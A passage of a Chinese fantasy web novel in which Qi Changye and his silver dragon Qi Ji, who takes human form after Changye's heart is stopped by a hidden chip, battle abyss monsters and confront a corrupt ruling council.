小祈霁歪了下脑袋。 【哥哥亲亲我就可以！】 祈长夜：“？” 他刚要提溜起这只小龙，下一秒，眸光穿过街道，定在一个地方。 他的目光尽头，从那不被人留意的阴影里，走出一道人影。 “不愧是第十席大人，一眼就发现了我。” 那位衣着华丽的贵族恭敬地弯腰，面带微笑：“第一席大人想见您。” 小祈霁爬到祈长夜肩头，金色龙瞳，毫无感情地扫过对面。 【哥哥？】 “没关系，”祈长夜轻碰他的小龙，对那个人淡淡地说，“带路吧。” …… 第一席府邸，他们见到了那位始终戴着面具、从不以真容示人的十二座席之首。 他高坐在主位之上，白银面具，遮住了一切表情。 “你可以留在这里。” 他的第一句话，出乎意料得惊人。 “我需要一位接班人，你是最好的人选。” 对此，祈长夜的表情并没有什么波澜：“承蒙好意，但，不必。” “何必急着拒绝，我可以推举你，走向乌城之巅。” 轻描淡写的一句话，在乌城，足以引发狂澜。 然而，祈长夜依然不为所动：“我本就不是为此而来。” 面具之下，第一席短暂地沉默。 “你可以走了。” 对话就此结束，祈长夜转身，向长阶之下走去，走向乌城之外。 风流云涌，银龙乘风而起，驰骋天空。 微风卷起乌发发梢，祈长夜坐在银龙背上，轻轻按住心口。 祈霁立刻回头。 【哥哥，哪里不舒服吗？】 “没有。” 祈长夜微微摇头。 是错觉吗？ 他凝视自己的指尖，却并没有再捕捉到那丝异样的感觉。 祈霁还在看着他，祈长夜摸摸银白的鳞片，说：“走吧。” 银龙慢慢回头，穿行于云间，横跨长空。 千万里的距离，于乘风之龙而言，也不过短暂地跨越。 很快，他们来到维络城上空，穿过要塞，降临深渊之上。 祈长夜再次按住心口。 ……不对劲。 第四十六章 化人 云层之下的维络城要塞, 深渊如涌动的黑潮，掀起悚然波涛。 一只又一只怪物爬出深渊，汇成黑压压的乌云, 包围要塞。 黑潮与阴云爬上大片城墙, 进化者的惊呼与仓促身影交杂——这座B级城的进化者实力强于芙洛城, 可他们抵御深渊怪物的能力比芙洛城还要不如。 这一幕落入祈长夜眼中, 他轻按心口, 面色不变，压下了那丝不对劲的异样。 【哥哥】 祈霁在他耳边低语。 【不要紧吗？】 祈长夜：“我没事。” 他拍拍银龙脑袋，从高空一跃而下。 漆黑衣摆翻飞, 如掠起的鸟翼, 伴随银龙蜿蜒, 直坠黑潮般的深渊。 城墙之上, 正在疲于抵挡怪物的进化者们震惊地看见，一位黑衣男子从天而降，修长身影银龙缠绕，如一柄利剑，悍然刺入深渊表面。 皮靴踏上深渊正中央, 祈长夜苍白而骨节分明的手指微抬，黑暗如焰火，自他指间燃起, 呼啸荡开, 瞬间扩散上千米, 汹涌撞上深渊的黑潮。 银白巨龙随着黑焰搅起飓风，青铜古钟镇退混沌般浩瀚宏大的龙吟, 击石碎玉，裂帛穿云, 响彻深渊之上。 深渊的沸腾被短暂压制，那些冲袭而出的怪物隐没在黑暗里，藏匿不见。 银龙蜿蜒，带着它的人类，降临城墙。 城墙上的进化者们震撼于那道巨大的银白身影，纷纷后退，不敢靠近。 “第十席大人！” 维络城城主认出那位被银龙圈住的新坐席，匆匆赶来。 “要塞之墙对深渊的防御变弱了，那些怪物全都能爬上来了！” 原本，深渊边缘的要塞高墙都是用特殊的晶石铸造而成，可以抵御深渊侵袭，也可以令深渊的怪物退而不前—— 而现在，维络城第一次遭遇深渊动荡，晶石所铸的城墙，居然再也无法挡住怪物的步伐。 “晶石本就诞生于深渊，”祈长夜神色不变，“将这个消息传给乌城。” 城主一愣：“两小时前我们就向上城汇报了！大人您不是收到这个消息才赶过来的吗？” 祈长夜眉目微沉。 一小时前，他从乌城赶来，那时收到的报告是维络城昨天上传的调查结果，指出深渊可能有异常，请求乌城调查。 除此以外，维络城再没有别的报告送达乌城，连明蓝那边都未曾得知。 ——维络城的深渊异变，还有紧急求援消息，都被刻意压住了。 通讯器亮起，祈长夜给明蓝发去消息。 【哥哥】 祈霁一声低语，高墙之下的深渊再起波澜。 “怪物又来了！” 几声惊呼，有进化者们恐惧地后退，眼睁睁看着深渊的黑潮淹没大地，从里面耸动出一只又一只怪物。 银龙修长的尾巴一扫，如凌风掠出，横跨深渊之上，飓风涌动。 锐利的风场席卷大地，无数血光泼洒，怪物的残肢坠落回深渊。 目睹这一幕的城主微微色变。 这只怪物，比他所见过的任何生物都要强大！ ……这就是传闻中的帝龙？！ 深渊之上，一只怪物仰起血淋淋的头颅，灰暗的瞳孔，划过一丝诡然光泽。 它吐出阴冷的人言：“交出祈长夜，我们从此退回深渊，不再踏足地面半步。” 一语落下，全城皆知，全城皆静。 一些人震惊于深渊的怪物居然能口出人言，还有一些人……已经看向了怪物话中的那个人。 为什么，怪物知道他的名字？ 为什么，怪物会指定要他？ 如果把他交出去……他们是不是真的能安全了？ 一道道视线，犹如枷锁，定住那道身影。 竖立的龙瞳如烧灼的太阳，燃起森然怒火，银龙悍然回首，目光如刀，寒风为刃，银白的冷色阴影覆盖城墙。 这一刻，所有抬头的进化者如被刺穿双目，发出痛苦的嚎叫。 他们捂住双眼，再也不敢将目光投向那个人。 祈长夜眼眸如深潭，倒映不出丝毫涟漪。 “……第十席大人。” 维络城城主微微垂首，低声说。 “您有封印深渊的能力，能否请您帮我们……彻底关上深渊？” 她的身边，几个衣着华丽的人闻言色变。 “城主大人您在胡说什么！关闭深渊之后，我们的晶石产出也会就此断绝！” “是啊，那可是支撑我们整座城市的收益！您想想看，芙洛城失去了深渊之后，地位已经一落千丈了！” 他们嘴上劝着城主，眼睛却不断偷瞄向祈长夜，显然知道这里谁才是最有资格决定一切的人。 “求您多为我们着想，无论如何，深渊绝不能关闭！” “蠢货！”城主气不打一处来，“要塞都快沦陷了，你们还盯着自己的钱袋！难道要怪物冲进维络城，你们的脑子才能清醒一点吗！” “那……那至少让我们多派些人进去，拿点晶石回来吧！” “第十席大人那么强，还有他的帝龙，加在一起也可以保护我们！” “里面的晶石那么多，至少要给我们一个月的时间！实在不行半个月，七天！不能再少了！” 一双双眼睛投向祈长夜，充斥着算计与贪婪。 祈长夜眉梢不动，嗓音沉如清潭：“可以。” 那几人一喜，刚要说什么，就听见他的下一句话：“以你们的能力，最多一天，要塞就会沦陷。” “在那之前，抓紧时间。” “……什么意思？” 那几人的表情再度发生了变化。 “什么叫只有一天？您不打算管我们了吗？” “我们的要求很过分吗！只是让您帮我们多拿点晶石而已！” 有人故意大声哀嚎：“您怎么能如此无情！我们都没打算把您交出去，您总该回报我们——啊！” 话还没说完，又是一声惨叫。 掀起的飓风将那人掀飞数米，又如破麻袋般重重摔在地上，吐出一口血，直接昏死过去。 细长龙尾圈住祈长夜，银龙占据他的上方，微微俯首，冰冷的金色竖瞳横扫全场，所到之处，一片死寂。 所有人都垂下头颅，大气不敢出。 从那双龙瞳里，他们读出了无言的震慑。 ——谁再废话，就死。 年轻的第十席或许还不会计较他们的冒犯，但这条恐怖的银白帝龙……就是毫无感情的怪物！ 城主：“不能再拖了！请您趁现在封印深渊，维络城必有重报！” 祈长夜的目光越过高墙，落在深渊之上，向前一步。 下一次，他再次抬手，轻轻按住心口。 【哥哥，不舒服吗？】 祈霁立刻靠近，龙瞳紧紧锁住他的身影，声音低沉。 【我带你回去】 祈长夜一言不发地摇摇头，掌心落在祈霁鳞片间，无声地安抚。 然后，他一步踏出，跃下高墙。 飞扬的漆黑衣摆，如展翅的苍鹰。 城墙的阴影里，谢荇躲在人群中，高高地仰起头颅。 那道修长人影踏在高空，黑暗自他周身肆意蔓延，化为夜色的帷幕披肩。庞大的银龙将它的人类护在龙躯之间，银雪流转，光与暗的交织，绚丽而灿烂，宛若神迹。 他已经有了可以并肩而立的存在，不需要回头，不需要再回顾那段阴暗潮湿的往事。 而他，拼尽全力，却只能窥见他的一小片衣角。 你看不见我吗？ 谢荇冰凉发白的手指，死死地捏住一小枚芯片。 那就……永远地闭上眼睛吧。 他掐碎芯片，任由碎片深深刺入掌心，渗出鲜血。 高空之中，祈长夜按住心脏，乌黑眼眸，一瞬间失去了光泽。 ——胸膛内的心脏，停止了跳动。 断翅的飞鸟，坠向深渊。 银龙凝固的瞳孔里，这一幕宛若末日的画卷，就此定格。 然后，与它最深处的，最恐惧的记忆重合。 ——刹那之间，暴怒的龙啸，响彻天地。 苍穹被割裂，龟裂为无数碎片，大地塌陷，远处有山峦倾倒，整个世界都在摇晃崩塌，被银白的暴君抹去色彩，掠夺了一切温度。 世界沉入晦暗，宛若末日来临。横亘天空的银龙就是这一切的主宰，震耳欲聋的龙啸尤未停绝，暴怒的巨龙已化为一抹极致灿烂而危险的色彩，从天空划开大地，直直刺入深渊，追逐那抹下坠的晦暗—— 无数黑暗从深渊内涌出，缠绕上那具失去生机、眉目紧阖的躯体，似乎要将他吞噬，纳入囊中。 在即将没入黑潮的前一刻，乌发之下，一双金色的眼眸，冰冷睁开。 那是一双毫无情绪，也映不出丝毫光亮的眼眸，静静地映出失色的天空倒影，还有那一抹绚烂到仿若要焚尽自己的银白。 从心脏停止跳动，到再度恢复，其实只花了短短十数秒。 祈长夜知道自己刚才经历了什么，十二岁之前的岁月，“灰烬”对他的研究，死灰复燃。 但，他没想到，仅仅是这十几秒间，整个世界，已然天翻地覆。 他向那抹剧烈焚烧的银白伸手，却在下一秒，被拖入了深渊。 就在黑暗即将吞没视野的那一刻，强势的力量抵达他的指尖，一寸一寸推进至手腕，直至牢牢抓住了他。 祈长夜忽然意识到，抓住他的，是一只手。 他沉入深渊的黑潮之下，却有银白发丝拂落他的脸庞，像一场落下的冰凉银雪。 他的脊背抵上一双有力的手臂，胸膛与胸膛相贴，跃动的心脏，轻轻碰撞。 祈长夜眼睫微抬，云雪般堆叠的银发之间，一双银白龙角蜿蜒伸展，映出宛若晨曦的微光，龙角与银发之下是灿金的眼眸，极致俊美深邃的五官。 那人俯身，在他耳边低声说： “抓住你了。” 第四十七章 告白 银色的光芒在深渊里下坠, 宛如沉入黑潮的银月。 光洁无暇的银月，拥抱着它的珍宝。 “哥哥。” 银发金瞳，俊美无俦的男人在祈长夜耳边低语, 微凉的气息, 绒羽般反复拂过祈长夜脸侧。 祈长夜眼睫微抬, 银发之下, 那双狭长而锋锐的金色眼眸深深地映出他的眉目, 就像要将他拖入那汪金芒晕满的深湖。 祈霁。 从龙形蜕变，披上了人类的皮囊。 ……还挺好看。 祈长夜修长的手指捧上那张脸庞，祈霁静静地一动不动, 过了几秒, 微微偏过脸, 蹭蹭他的指尖。 乖乖的。 祈长夜说：“会难受吗？” 毕竟, 这还是他的小龙第一次变成人。 祈霁：“……” “哥哥还在担心我。”他沉悦的声音低凉，像坠入湖畔的冰雪，“我都要被哥哥吓死了。” 祈长夜知道他没事，微微放心，再次开口：“那, 地面呢？” 祈霁：“…………” 某只大龙好像在磨牙，语调阴森森的：“都死了。” “——那些怪物，都死了, 哥哥不用担心。” 祈长夜点了点头, 维络城的困局暂时缓解, 等他们回到地面之上——就该清算了。 然后，他发现, 他的大龙一声不吭地凑近了自己，幽幽地盯住了他。 似乎有点不开心？ “我没事。”祈长夜想摸摸他的大龙, 手指先穿过一捧如云堆叠的银发，“别怕。” “我很怕，”祈霁的声音又沉了几分，尾音却软和了下来，像在撒娇，“哥哥抱住我就不怕了。” 祈长夜“嗯”了一声，修长手指落在银发金瞳的男人肩上，顺着脊背，一下下抚摸。 祈霁微微眯起眼睛，就像陷落松软的被褥里，绷紧的身躯，也终于放松了几分。 他的胸膛与祈长夜相贴，能清晰地感受到他的人类心脏的跃动，他的体温，他的气息都被他肆意地汲取——银龙就像攀附于树干间的藤蔓，不遗余力地纠缠人类的身躯，与他紧密而不可分割地相抵。 只有这样，他才能确定，他的太阳依然停留在他身边。 是属于他的。 安然无恙。 祈霁无声埋首，哪怕陷落深渊，周围的黑暗与寒冷，也无法侵蚀他怀中的人类分毫。 一双手臂揽住了祈长夜的腰背，丝缎般的银发堆聚在他肩头，那颗漂亮的头颅也塞进了他肩窝里，一声不吭地蹭来蹭去。 祈长夜感觉自己怀里多了一条人形大龙，几乎快要抱不住。 原来变成人之后，这么大一只。 他的手落在散发莹润微光的银发之间，掌心底下像是多了一只毛茸茸的大猫，喜欢拱拱这里，拱拱那里，时不时霸占着他作乱。 他被弄得微微仰起下颌，听见贴着耳畔响起的悦耳而低沉的男声：“所以，哥哥为什么——” 祈霁没有说出后半句话。 “……应该是那时候的实验。” 祈长夜垂下眼睫。 “我小时候，曾在灰烬的孤儿院里。” 那时的他，是“E-11”，一个实验的失败品。 所以，当灰烬倒台，他也被当做需要销毁的废物，丢入深渊。 那些实验的内容，他早已因为药物而记忆模糊。被队长他们带回乌城后，他曾和他们一起进过医院，接受检查——都没有查出什么问题。 “现在看来，灰烬应该还是在我身上装了什么东西。” 也许是藏在心脏间的隐秘芯片，就连最先进的仪器都无法检测出来——毕竟，当年的灰烬凌驾于乌城之上，总有意想不到的手段。 甚至于，时至今日，灰烬依然潜伏在乌城……掌控着乌城。 最终，对他拔出利刃。 祈长夜眼睫半阖，眸中墨色凝聚，轻轻按住心口。 但，那枚芯片只能对他造成一次伤害。 在即将坠入深渊之前，他就自行痊愈了。 ——他的身躯，早已在十二岁坠入深渊的那年，被深渊“吞吃”。 和他同样遭遇的还有孤儿院其他人，他眼睁睁地看着曾经的同伴们死于深渊侵袭，连躯体都被撕裂，先他一步停止了呼吸，直至变成融于黑暗的血块。 这一幕，同样是囚禁了他多年的梦魇。 那时的他，连精神力都尚未觉醒，拼尽全力，也无能为力。 直到同伴的鲜血染红身下的路，直到他也遭受深渊侵袭，身体被黑暗撕裂，意识沉入寒潭……也许是幸运，也许是他撑了下来，最终，他在黑暗深处，再次睁开眼睛。 从那以后，深渊足以磨灭任何生灵性命的侵袭，对他再无作用。只有终年萦绕在深渊的寒意，依然侵扰着他的身体。 当十二岁的他独自一人爬出深渊，见到薪火小队时，某种程度上来说，他已经不再属于“人类”。 ——这具身躯，只要精神力不干涸，哪怕受到致命重创，只要回到深渊，也能再次重组。 他的生命，他灵魂的一部分，似乎永远和深渊绑定了。 “……为什么哥哥之前不告诉我。” 祈霁压低了头颅，紧紧贴着祈长夜额角。 “哥哥什么都不和我说。” 失落的低喃，带了几分委屈。 “都怪我，没能保护好哥哥。” “和你有什么关系。”祈长夜抬手，拂过挡住祈霁侧脸的银发，“你来到我身边之后，每一次都没有来迟。” 每一次，他的下坠，都被小龙接住了。 祈霁纠起的眉心依然没有松开，深邃眼眸似有阴云笼罩，轻轻握住他的手腕。 “哥哥，我帮你检查一下。” 不知道他的小龙要用什么办法，祈长夜轻轻“嗯”了一声。 祈霁低头，抵上他的额心。 似有一股暖流汇入眉间，从一点，扩散为细流，涌向全身各处。 精神力过渡。 两人的精神力开始纠缠，毫无阻碍地交融在一起，顺服融洽得仿佛本就是一体。 暖流淌过身体每一寸角落，源源不断，澎湃不绝，不停在体内翻涌，舒适得仿佛意识都要沉没。 祈长夜微微仰首，乌发勾落白皙下颌，露出美丽的弧度。 金色的龙瞳微微凝聚，祈霁俯首，温柔而又缱绻地磨蹭他的侧脸。 “哥哥，没事了。” 他已经确认过了，完完全全，从里到外，没有外人留下的痕迹——更没有什么芯片，能损伤到他的哥哥。 鸦羽般的眼睫微抬，祈长夜似乎还未完全回神，乌黑的眼眸，似一汪日光下涟漪泛起的湖泊。 成年的银龙，呼吸一瞬微屏。 金色龙瞳深深锁住那双眉眼，瞳孔微竖，晦暗覆没，祈霁一言不发地垂首，缓缓贴近—— 祈长夜忽然说：“你的衣服哪来的。” 从刚才起，他就想问了。 祈霁身上还穿着一件银白的衣服，略微宽松的款式，像是飘飘的衣袍。 “……”祈霁停在半空，凝视他的唇角，过了几秒，才冒出一句，“鳞甲变的。” 那双金色眼眸不知为什么耷拉了一点，好像有点委屈。 祈长夜：怎么了？ 他不明所以，摸摸他的大龙脑袋。 祈霁低头，一声不吭地把脸埋进他的脖颈间，一下一下磨蹭。 冰凉的气息洒在脖颈，微微激起酥痒，肌肤相贴，没有丝毫距离。 过了几秒，祈长夜才意识到，这个动作似乎有些太亲密了。 他微微后退。 祈霁似乎早有预料，抬手拦在他的腰间。 他仅用一只手就搂住了祈长夜的腰坠，另一只手勾住他的指尖，缠缠绵绵，并入他的指节。 还有一条细长的尾巴，也缠上祈长夜脚踝，沿着曲线漂亮的小腿磨磨蹭蹭地往上，很快越过膝盖。 祈长夜：“？” 哪里冒出来的尾巴。 伸手，抓住。 银白的尾巴尖尖，被他抓在手中还扭来扭去，不停蹭蹭他的手腕，像尾活泼的游鱼。 祈长夜的视线顺着尾巴往上游走，落到祈霁身后。 “衣服不会破吗？” 祈霁：“？” 原本还在黏着祈长夜撒娇的祈霁抬头，似乎有点不可置信地看着他。 ……为什么哥哥老是关注别的东西。 为什么不都关注他！ 那双金色龙瞳好像又有点委屈，祈霁小声叭叭：“衣服都是我的鳞甲，才不会。” 祈长夜：“不太科学。” 祈霁沉默一秒。 “哥哥，我是龙，要什么科学。” 祈长夜：有道理。 祈霁一声不吭地低头，脸庞再次贴近祈长夜，似乎很想让哥哥多看看自己。 祈长夜并没有注意到这点小动作，那条尾巴还在他身上作乱，他抓起软软的尾巴尖尖，飞快甩来甩去。 好像在甩鱼。 祈霁：“……” “走吧，该回地面了。” “……” “怎么了？” “……噢，哥哥。” 不知为什么，他的大龙忽然变得蔫蔫的，没精打采。 祈长夜观察祈霁的神情，片刻后，伸手戳戳他的脸。 祈霁忽然啊呜一口，作势要咬住他的手指——祈长夜还没来得及收回，指尖微微湿凉，像是被某只大龙舔了一下。 祈长夜：“……” 会咬人的。 他默默地收回了手。 祈霁望着他的侧脸，眼睛微微弯了起来，心情似乎好了一点。 ——不过，一离开深渊，银发金瞳的成年银龙，原本高挑的个头忽然缩水了一点。 祈长夜眼睁睁看着这只大龙不断缩水，变成了一只比他略矮几分的少年。 长长的龙角隐于银发之间，少年低头看看自己，仰起脸，对祈长夜眨眨眼睛。 “哥哥，我们回乌城吧。” 祈长夜：“嗯？” 少年的祈霁冲他一笑，露出森森利齿。 “我要去杀人。” 祈长夜安静片刻。 祈霁蹭蹭他的胸口：“哥哥，怎么不说话了？” 祈长夜一言不发地看着他，过了两秒，平静地说：“确实很好看。” 然后平静地往前走了。 祈霁：“……” 少年站在原地，似乎变成了一尊石像。 哥哥夸他了。 ……哥哥喜欢他！ 哥哥和他告白了！！ 第四十八章 哥哥，他凶我 维络城, 要塞。 深谷张裂，黑潮涌出地面，一路蔓延至百米城墙底部, 仿若暴风雨降临的海面, 随时会掀起浪潮, 将整座要塞吞没。 尽管不再有怪物出没, 但平静就像是覆盖在要塞上方的一层薄膜, 脆弱不堪。 维络城的城主徘徊在城墙上方，忧心忡忡。 第十席坠落深渊、生死不知的消息已经传回乌城，她本以为议事厅会立刻派人来营救、再帮他们解决深渊问题, 但直到现在, 上城都渺无回音。 她不认为第十席是不敌深渊而落败, 那一刻, 她分明看得很清楚——第十席像是遭到某种暗算，忽然失去了意识。 所以，那之后，她立刻封锁了周围的辖区，尽可能地禁止任何人出入。 然而, 乌城的沉默令她心惊，就算是出于内斗，想要扼杀那位年轻的坐席……但, 维络城的生死, 就可以这样被那些大人物, 当成无关紧要的陪葬吗？ 遥远的上空，庞大的银龙隐于云层之间, 金色龙瞳漠然地俯视大地。 高墙铸就的钢铁要塞，在横亘长空的银白帝龙眼中, 渺小如一粒沙。 “和他们无关。” 祈长夜的掌心拂过龙鳞，平静地说：“下去吧。” 城墙之上，城主下定了决心。 “召集所有A级以上的进化者。” 她遥望深渊，缓缓开口。 “我们去营救第十席。” 旁边的随从一惊：“大人！我们不应该等上城救援吗？” “乌城真的会派人过来吗？”城主冷笑，“第一封求救信发出去那么久了，他们何时回应过我们！” “为了救我们，第十席落入深渊。不能再等了，半小时内，我们就出发！” 偌大的“上城”，最强进化者集结的庞然大物，在求援信号发出之后，来到他们这里的，仅有一位第十席。 不是因为“第十席来了就足以解决深渊”，而是因为，只有第十席愿意奔赴这场灾难。 也许这是一场豪赌，但她愿意押注一切，不为别的，只为维络城的存活，只为十二坐席中，唯有一人会将目光投落在他们的生死之上。 冰冷的风刮过身侧，城主似有所觉，敏锐转身—— 城墙之上，银龙乘风而落，年轻男子的漆黑衣摆随意翻飞。 “第十席大人！您没事！” 祈长夜微微抬手，打断她的话语，眼眸沉静如水：“我要你立刻封锁消息，再给我一份名单。” “一周内，所有从乌城来到维络城的人，都要在名单之上。” 城主毫不犹豫地俯身行礼，如同宣誓效忠：“遵命。” 祈长夜退开一步，避开她的行礼，毫不停留，走向深渊。 多年之后，这位城主依然会深深地记得这一幕，如同发生在昨日般清晰。 ——一袭黑衣飞扬的年轻男子立在深渊之上，灿金眼眸在暗色中明烈耀眼，黑焰缭绕，银龙交缠，宛若同时降临的白昼与长夜，以己身镇深渊，挽天倾。 就像，旧地球时代传闻中的神明天降。 —— 议事厅。 十二席会议再次召开，这一次，缺席的有两位。 第七席扫过空荡荡的两个位置，冷笑一声：“什么时候，第十席成了消耗品？” “看来，能够封印深渊，只是某人空口夸下的大话而已。” 第三席锐利的目光穿透面具，刺向了他：“第七席的意思是，你能解决维络城的灾难？还是说只要你一出马，深渊就能自动封印了？” 第七席面具下没有传出声音，第二席不紧不慢地轻敲一下桌面：“我认为，当务之急，是选出新的第十席。” 话音未落，第三席冷冷打断：“你们未免太过心急。” “这也是没有办法的事情，维络城的人都看见了第十席坠落深渊，下面全都是失控的怪物——这种情况下，怎么可能生还？” 长桌一侧，第五席很遗憾似地摇了摇头。 “坐席缺位可是会人心动荡的，还有比这更要紧的事情吗？” 第三席的声音像浸了寒冰：“恕我直言，维络城还在最危急的时刻，现在最重要的是解决他们的灾难，还有，查出到底是谁压下了他们的求援消息。” 第二席微微按住桌面：“在那之前，我们也可以先选出第十席，这并不冲突。等新的人选落定，救援自然可以展开。” “诸位觉得如何？” 他悠悠的尾音，回荡在殿堂之内—— 忽然，黑暗笼罩白昼，天光沉入晦色，明亮的银白殿堂失去所有光线，窗楹笼上厚重黑纱。 狂风呼啸，雷鸣惊响，似有可怕的风暴笼罩乌城上空，随时会劈下一道惊雷，击碎神圣殿堂。 第二席豁然起身：“谁敢袭击议事厅！” 轰隆！ 雷霆爆鸣，顷刻之间，偌大的穹顶被飓风直接掀翻！ 天塌地陷的巨大轰鸣声中，狂风灌入殿堂，吹翻了黄金长桌，吹乱所有坐席的衣袍。 阴霾的天幕沉沉压下，几乎快要坠落大地。如海啸般剧烈翻腾的云海之间，一条庞大的银白巨龙探出龙爪，灿金的竖瞳森冷暴戾，闪烁雷霆万钧的寒光。 碎金震铁的龙吟，穿云破空，撕裂苍穹，响彻整座乌城。 第十二席坐席瘫坐在地，面具之下的瞳孔猝然收缩。 漆黑如墨的苍穹，闪烁的电光，咆哮的狂风，遮天蔽日的银白巨龙——还有，踩在巨龙头颅，迎风而立，衣摆翻飞的男人。 “让你们失望了。” 祈长夜身形如剑，居高临下，背对昏黑天幕，一双冰冷而漠然的眼眸，灼亮如神明的双目。 他抬起骨节分明的左手，随手一丢，一颗血肉模糊的头颅直坠而下，巨石般砸在第二席面前，鲜血迸溅，瞬间泼红他的衣袍。 ——那是来自深渊内，杀死了维络城进化者的怪物头颅。 “你……你！” 浓烈的血腥糊身，第二席剧烈颤动起来，几乎破音： “祈长夜！你是要挑战议事厅权威，威胁我们所有人吗？！” “不敢。” 寒冽的风掠起祈长夜的乌发，他的眉尾微挑，踩在乌城至高之处，眼眸映出漫天苍穹雷霆。 “只是想请在座诸位，随我走一趟深渊。” 一句话落下，宛若雪白寒灾降临荒原。 “……我同意封印深渊！”第十二席忽然抬手，“封印深渊是最正确的决定！不能再让深渊危害到城市了！必须立刻封印！” “第十席大人！我完全赞同您！从今天开始，我愿意全力追随您！” “是吗？” 祈长夜的眼角眉梢没有丝毫挑动。 “那么，其他几位呢？” 话音刚落，银龙俯首，巨大的龙瞳森然逼视。 “……” 第二席一言不发，颤抖地举起了手。 —— 议事厅的会议，被迫结束了。 风停云散，满地的狼藉间，明蓝随手摘下白袍，微微侧首。 那条银龙已经披上少年皮囊，站在祈长夜身边，顶着一张漂亮的脸，孔雀开屏般展示着自己。金色眼眸看似纯良，却有深邃的晦暗，框住了它身边的人类。 明蓝不易察觉地蹙了下眉心。 祈长夜向他走来，声音低沉：“这是维络城的伤亡名单。” 维络城的深渊突发动荡，原本在里面的数支进化者小队，全部死亡。 维络城城主向乌城求援的两小时间，还有更多进化者，死在要塞之下。 明蓝接过那份沉甸甸的名单，一页页翻过，最后合上。 “他们的家庭都会得到一笔抚恤金。” 他说。 “第一席失踪了。” 祈长夜：“忽然失踪，没有预兆？” “没有。” 祈长夜停顿片刻。 “谢荇呢。” 明蓝：“同样，正在搜查他们的下落。” 祈长夜表情不变：“知道了。” 明蓝看着他，意有所指地询问：“维络城还发生了什么？” 祈长夜：“没什么。” 他的手指被轻碰，偏过头，对上祈霁的眼眸。 “哥哥。” 祈长夜知道他想说什么，语气轻淡：“回家吧。” 于是祈霁没有再说话，低下头，轻轻挨着他的脸庞蹭一下。 明蓝的目光扫过这只披着人类皮囊的银龙，一向沉淡的眼眸，多了几分锐利。 “这是谁。” 不等祈长夜开口，祈霁就微扬下颌，悦耳的声音带了几分自矜：“我是他男人。” 祈长夜：“？” “不，你是他弟弟。”明蓝面色没有丝毫变化，“在户籍上确定的事情。” 祈霁：“……” “还有，我不同意。”明蓝忽然又冒出了这么一句话。 看似没头没尾的话语，祈长夜并没有什么反应，祈霁却挑下了锋锐的眉。 他凝视那双和祈长夜颜色相似的乌黑眼眸，两个人都未曾开口，却在眼锋交汇间，仿佛有某种情绪对撞。 片刻后，祈霁轻笑一声。 扭头，眼角下垂，委委屈屈地看着祈长夜：“哥哥，他凶我。” 明蓝：“……” 祈霁揪住哥哥的袖子，轻轻晃一晃，耷拉下脑袋，一副可怜巴巴的样子：“是不是我不好看，所以才不被人喜欢？” 祈长夜看看他，再看看明蓝，再看看他的大龙。 摸摸他的大龙脑袋，对明蓝说：“我们先走了。” 然后，明蓝就眼睁睁地看着那个披着花里胡哨的人类皮囊的银龙开开心心地牵着祈长夜的手，开开心心地黏着他走了。 明蓝：“…………” 第四十九章 睡了 虽然说是回家, 但祈长夜还是半途转道，带着他的小龙来到办公室，处理剩下的文件。 守在这里的克里斯一眼看见那个银发金瞳, 气质完全不若凡人的少年, 整个人都惊了一下, 下意识往祈长夜那边看了看。 ……没有那条总是喜欢霸占住祈长夜, 强烈彰显自己存在感的小龙。 难道这个人是—— 不久前才因为目睹了“第十席携银龙力压十二坐席”而大为震撼的克里斯又被震撼了一下。 ……不愧是祈队！ 从深渊里捡来的蛋都这么不一般, 还是能变成人的蛋！ 也许是克里斯的目光在祈长夜身上停留得稍久了一些，他忽然发现，那个对着祈长夜笑吟吟的少年转首, 明亮的金瞳不着情绪地瞥了他一眼。 这一瞬间, 克里斯莫名泛起一种诡异的直觉, 总感觉那个披着人类皮囊的银龙……一副强烈的宣示主权的“正宫”气场。 克里斯：“……” 他说：“祈队, 有很多人想见您。” 不久前，议事厅上空的那一幕实在是太过声势浩大，银龙携雷霆和飓风从天而降，原本应该“死”在深渊的第十席重归，震慑十二坐席——这一幕, 几乎落入整个乌城眼中。 如果不是畏惧第十席的声势，这里都要被那些乌城权贵挤满。而现在，他们只敢躲在一旁, 发来一道道烫金请帖。 “一个都不见。”祈长夜淡淡地说。 “好的。” 克里斯飞快退下。 办公室只剩下他和哥哥, 祈霁亲昵地坐在祈长夜身边, 靠着哥哥肩膀，眉眼弯弯, 正要说话—— 被祈长夜往手里塞了一支笔，又把一半的文件往他面前一推。 “干活了。”祈长夜淡定地说着, 非常大方地给他的小龙预支了工资——一颗糖。 祈霁：“……” 祈霁乖乖“噢”了一声，委委屈屈地翻开文件。 祈长夜登陆第十席权限的密网，短短几小时内，已经多出了大量事务。 祈霁扫过那些事务的内容，神色渐渐冷淡了下来。 “哥哥，”他的声音染上几分嘲讽，“我不觉得，那些人值得哥哥这么做。” 祈长夜知道他指的是什么。 从此刻开始，所有深渊将被禁止出入，封印深渊一事，终于可以提上日程。 这并不是一件简单的事情，在深渊彻底动乱之前，那些尚且安全的城市未必会同意——毕竟，深渊中产出的晶石，依然是支撑他们的庞大利益链。 就算不需要议事厅其他坐席在背后推动，也会有人因为失去的利益出来反对，最终，将憎恨的目光投向那位发起一切的第十席。 而现在，已经有这样的声音，传达到了祈长夜面前。 祈长夜淡淡地说：“不用在意，没有多少时间了。” 他将维络城的情况传入公开的网络，包括城主提供的战斗录像和伤亡名单。 视频一经公开，播放量立刻暴涨，很快攀至难以想象的数量。 所有看过的人都震惊地发现，深渊动乱居然如此可怕，和他们想象中不同，简直是地狱般的场景——还有更多进化者一眼看出，以当时维络城的情况，根本无法抵抗。 不只是怪物的数量实在太多，源源不绝，还有原本用来抵御深渊的高墙，居然毫无作用！ 城市搭建起钢铁要塞，以为能够以此圈禁深渊，让深渊供他们随意开采——可一旦深渊动荡，驻立百年的要塞，居然脆弱如纸糊！ 越来越多的声浪涌入，关于深渊的探讨与质疑加剧。但依然有不少人提出质疑，是否所有深渊都会失控，封印深渊是否弊大于利，又或者还可以采取折中的办法——种种声音，争论不休。 “深渊很狡猾，对吧？”祈霁抬手勾起哥哥一缕乌发，语气的嘲讽加剧，“最开始，装成无害而弱小的样子，利用晶石吸引无知的猎物，等到自身膨胀到足够强大的地步，再一口将猎物吞吃。” “就算这样，依然会有更多愚蠢的猎物，踩着同伴的鲜血，无知又好笑地前去送死。” 祈长夜看着祈霁，少年对他甜甜一笑：“不过，只要是哥哥想做的，我都会陪着哥哥。” “嗯，”祈长夜说，“你是只漂亮的乖乖小龙。” 祈霁更开心了。 哥哥又夸他了。 喜欢。 这期间，祈长夜收到一条消息，是雅歌发来的。 